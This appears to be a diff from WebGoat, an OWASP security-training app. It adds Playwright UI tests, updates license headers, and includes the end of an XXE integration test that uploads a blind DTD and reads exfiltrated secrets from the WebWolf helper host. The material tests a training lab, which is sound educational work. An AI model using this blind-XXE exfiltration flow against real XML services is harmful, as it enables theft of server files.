.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@ -0,0 +1,83 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,37 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options().setHeadless(true).setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions().setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@ -0,0 +1,48 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext().newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext().newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@ -0,0 +1,28 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
@Getter
public class HttpBasicsLessonPage extends LessonPage {
private final Locator enterYourName;
private final Locator goButton;
public HttpBasicsLessonPage(Page page) {
super(page);
enterYourName = page.locator("input[name=\"person\"]");
goButton = page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Go!"));
}
public Locator getTitle() {
return getPage()
.getByRole(AriaRole.HEADING, new Page.GetByRoleOptions().setName("HTTP Basics"));
}
}

View File

@ -0,0 +1,68 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
import org.assertj.core.api.Assertions;
import org.owasp.webgoat.container.lessons.LessonName;
@Getter
class LessonPage {
private final Page page;
public LessonPage(Page page) {
this.page = page;
}
public void navigateTo(int pageNumber) {
page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("" + pageNumber)).click();
}
public void open(LessonName lessonName) {
page.navigate(webGoatUrl("start.mvc#lesson/%s".formatted(lessonName.lessonName())));
}
/**
* Force a reload for the UI to response, this is normally done by a JavaScript reloading every 5
* seconds
*/
public void refreshPage() {
page.reload();
}
public void resetLesson(LessonName lessonName) {
Assertions.assertThat(
page.request()
.get(webGoatUrl("service/restartlesson.mvc/%s".formatted(lessonName)))
.ok())
.isTrue();
refreshPage();
}
public int numberOfAssignments() {
return page.locator(".attack-link.solved-false").count()
+ page.locator(".attack-link.solved-true").count();
}
public boolean isAssignmentSolved(int pageNumber) {
var solvedAssignments = page.locator(".attack-link.solved-true");
solvedAssignments.waitFor();
return solvedAssignments.all().stream().anyMatch(l -> l.textContent().equals("" + pageNumber));
}
public boolean noAssignmentsCompleted() {
return page.locator(".attack-link.solved-true").count() == 0;
}
public Locator getAssignmentOutput() {
return page.locator("#lesson-content-wrapper");
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@ -0,0 +1,33 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import lombok.Getter;
public class WebGoatLoginPage {
private final Page page;
@Getter private final Locator signInButton;
public WebGoatLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in"));
}
public void open() {
page.navigate(webGoatUrl("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByPlaceholder("Password").fill(password);
page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign in")).click();
}
}

View File

@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
class JwtUITest extends PlaywrightTest {
@Test
void shouldDecodeJwt(Browser browser) {
var page = Authentication.sylvester(browser);
var secretKey = "test";
var jwt =
"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c";
page.navigate(webWolfURL("jwt"));
page.getByPlaceholder("Enter your secret key").fill(secretKey);
page.getByPlaceholder("Paste token here").type(jwt);
assertThat(page.locator("#header"))
.hasValue("{\n \"alg\" : \"HS256\",\n \"typ\" : \"JWT\"\n}");
assertThat(page.locator("#payload"))
.hasValue(
"{\n"
+ " \"iat\" : 1516239022,\n"
+ " \"name\" : \"John Doe\",\n"
+ " \"sub\" : \"1234567890\"\n"
+ "}");
}
}

View File

@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
public class LoginUITest extends PlaywrightTest {
@Test
void login(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebWolfLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
assertThat(loginPage.getSignInButton()).not().isVisible();
// logout
loginPage.logout();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@ -0,0 +1,41 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webwolf.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webWolfURL;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class WebWolfLoginPage {
private final Page page;
@Getter private final Locator signInButton;
private final Locator signOutButton;
public WebWolfLoginPage(Page page) {
this.page = page;
this.signInButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign In"));
this.signOutButton =
this.page.getByRole(AriaRole.LINK, new Page.GetByRoleOptions().setName("Sign out"));
}
public void open() {
page.navigate(webWolfURL("login"));
}
public void login(String username, String password) {
page.getByPlaceholder("Username WebGoat").fill(username);
page.getByPlaceholder("Password WebGoat").fill(password);
signInButton.click();
}
public void logout() {
this.signOutButton.click();
}
}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.dummy.insecure.framework; package org.dummy.insecure.framework;
import java.io.BufferedReader; import java.io.BufferedReader;

View File

@ -1,29 +1,6 @@
/** /*
* ************************************************************************************************* * SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;

View File

@ -1,53 +1,28 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, * SPDX-License-Identifier: GPL-2.0-or-later
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* <p>
*
* @author WebGoat
* @version $Id: $Id
* @since December 12, 2015
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import static org.asciidoctor.Asciidoctor.Factory.create; import static org.asciidoctor.Asciidoctor.Factory.create;
import io.undertow.util.Headers;
import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletRequest;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader; import java.io.InputStreamReader;
import java.io.StringWriter; import java.io.StringWriter;
import java.util.HashMap;
import java.util.Locale; import java.util.Locale;
import java.util.Map; import java.util.Map;
import java.util.Set; import java.util.Set;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.asciidoctor.Asciidoctor; import org.asciidoctor.Asciidoctor;
import org.asciidoctor.Attributes;
import org.asciidoctor.Options;
import org.asciidoctor.extension.JavaExtensionRegistry; import org.asciidoctor.extension.JavaExtensionRegistry;
import org.owasp.webgoat.container.asciidoc.*; import org.owasp.webgoat.container.asciidoc.*;
import org.owasp.webgoat.container.i18n.Language; import org.owasp.webgoat.container.i18n.Language;
import org.springframework.core.io.ResourceLoader; import org.springframework.core.io.ResourceLoader;
import org.springframework.http.HttpHeaders;
import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.i18n.SessionLocaleResolver; import org.springframework.web.servlet.i18n.SessionLocaleResolver;
@ -135,17 +110,17 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
return computedResourceName; return computedResourceName;
} }
private Map<String, Object> createAttributes() { private Options createAttributes() {
Map<String, Object> attributes = new HashMap<>();
attributes.put("source-highlighter", "coderay");
attributes.put("backend", "xhtml");
attributes.put("lang", determineLanguage());
attributes.put("icons", org.asciidoctor.Attributes.FONT_ICONS);
Map<String, Object> options = new HashMap<>(); return Options.builder()
options.put("attributes", attributes); .attributes(
Attributes.builder()
return options; .attribute("source-highlighter", "coderay")
.attribute("backend", "xhtml")
.attribute("lang", determineLanguage())
.attribute("icons", org.asciidoctor.Attributes.FONT_ICONS)
.build())
.build();
} }
private String determineLanguage() { private String determineLanguage() {
@ -159,7 +134,7 @@ public class AsciiDoctorTemplateResolver extends FileTemplateResolver {
log.debug("browser locale {}", browserLocale); log.debug("browser locale {}", browserLocale);
return browserLocale.getLanguage(); return browserLocale.getLanguage();
} else { } else {
String langHeader = request.getHeader(Headers.ACCEPT_LANGUAGE_STRING); String langHeader = request.getHeader(HttpHeaders.ACCEPT_LANGUAGE);
if (null != langHeader) { if (null != langHeader) {
log.debug("browser locale {}", langHeader); log.debug("browser locale {}", langHeader);
return langHeader.substring(0, 2); return langHeader.substring(0, 2);

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2017 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal
public @interface CurrentUser {}

View File

@ -0,0 +1,18 @@
/*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.lang.annotation.Documented;
import java.lang.annotation.ElementType;
import java.lang.annotation.Retention;
import java.lang.annotation.RetentionPolicy;
import java.lang.annotation.Target;
import org.springframework.security.core.annotation.AuthenticationPrincipal;
@Target({ElementType.PARAMETER, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
@Documented
@AuthenticationPrincipal(expression = "#this.getUsername()")
public @interface CurrentUsername {}

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.util.Map; import java.util.Map;
@ -6,8 +10,8 @@ import javax.sql.DataSource;
import lombok.RequiredArgsConstructor; import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j; import lombok.extern.slf4j.Slf4j;
import org.flywaydb.core.Flyway; import org.flywaydb.core.Flyway;
import org.owasp.webgoat.container.lessons.LessonScanner;
import org.owasp.webgoat.container.service.RestartLessonService; import org.owasp.webgoat.container.service.RestartLessonService;
import org.owasp.webgoat.container.users.WebGoatUser;
import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties; import org.springframework.boot.autoconfigure.jdbc.DataSourceProperties;
import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Configuration;
@ -20,7 +24,6 @@ import org.springframework.jdbc.datasource.DriverManagerDataSource;
public class DatabaseConfiguration { public class DatabaseConfiguration {
private final DataSourceProperties properties; private final DataSourceProperties properties;
private final LessonScanner lessonScanner;
@Bean @Bean
@Primary @Primary
@ -36,8 +39,8 @@ public class DatabaseConfiguration {
/** /**
* Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users * Define 2 Flyway instances, 1 for WebGoat itself which it uses for internal storage like users
* and 1 for lesson specific tables we use. This way we clean the data in the lesson database * and 1 for lesson specific tables we use. This way we clean the data in the lesson database
* quite easily see {@link RestartLessonService#restartLesson()} for how we clean the lesson * quite easily see {@link RestartLessonService#restartLesson(String, WebGoatUser)} for how we
* related tables. * clean the lesson related tables.
*/ */
@Bean(initMethod = "migrate") @Bean(initMethod = "migrate")
public Flyway flyWayContainer() { public Flyway flyWayContainer() {
@ -62,7 +65,7 @@ public class DatabaseConfiguration {
} }
@Bean @Bean
public LessonDataSource lessonDataSource() { public LessonDataSource lessonDataSource(DataSource dataSource) {
return new LessonDataSource(dataSource()); return new LessonDataSource(dataSource);
} }
} }

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2008 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import lombok.AllArgsConstructor; import lombok.AllArgsConstructor;
@ -7,39 +11,6 @@ import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
/**
* *************************************************************************************************
*
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author Jeff Williams
* @author Bruce Mayhew
* @author Nanne Baars
* @version $Id: $Id
* @since October 28, 2003
*/
@Controller @Controller
@AllArgsConstructor @AllArgsConstructor
public class HammerHead { public class HammerHead {

View File

@ -1,3 +1,7 @@
/*
* SPDX-FileCopyrightText: Copyright © 2021 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
import java.io.PrintWriter; import java.io.PrintWriter;

View File

@ -1,4 +1,8 @@
package org.owasp.webgoat.container.lessons; /*
* SPDX-FileCopyrightText: Copyright © 2024 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.container;
import java.io.IOException; import java.io.IOException;
import java.util.HashSet; import java.util.HashSet;
@ -12,13 +16,13 @@ import org.springframework.stereotype.Component;
@Component @Component
@Slf4j @Slf4j
public class LessonScanner { public class LessonResourceScanner {
private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$"); private static final Pattern lessonPattern = Pattern.compile("^.*/lessons/([^/]*)/.*$");
@Getter private final Set<String> lessons = new HashSet<>(); @Getter private final Set<String> lessons = new HashSet<>();
public LessonScanner(ResourcePatternResolver resourcePatternResolver) { public LessonResourceScanner(ResourcePatternResolver resourcePatternResolver) {
try { try {
var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*"); var resources = resourcePatternResolver.getResources("classpath:/lessons/*/*");
for (var resource : resources) { for (var resource : resources) {

View File

@ -1,33 +1,6 @@
/** /*
* ************************************************************************************************ * SPDX-FileCopyrightText: Copyright © 2016 WebGoat authors
* * SPDX-License-Identifier: GPL-2.0-or-later
* <p>
*
* <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* <p>Copyright (c) 2002 - 2014 Bruce Mayhew
*
* <p>This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* <p>You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* <p>Getting Source ==============
*
* <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
* for free software projects.
*
* @author WebGoat
* @version $Id: $Id
* @since October 28, 2003
*/ */
package org.owasp.webgoat.container; package org.owasp.webgoat.container;
@ -55,8 +28,8 @@ import org.thymeleaf.templateresource.StringTemplateResource;
public class LessonTemplateResolver extends FileTemplateResolver { public class LessonTemplateResolver extends FileTemplateResolver {
private static final String PREFIX = "lesson:"; private static final String PREFIX = "lesson:";
private ResourceLoader resourceLoader; private final ResourceLoader resourceLoader;
private Map<String, byte[]> resources = new HashMap<>(); private final Map<String, byte[]> resources = new HashMap<>();
public LessonTemplateResolver(ResourceLoader resourceLoader) { public LessonTemplateResolver(ResourceLoader resourceLoader) {
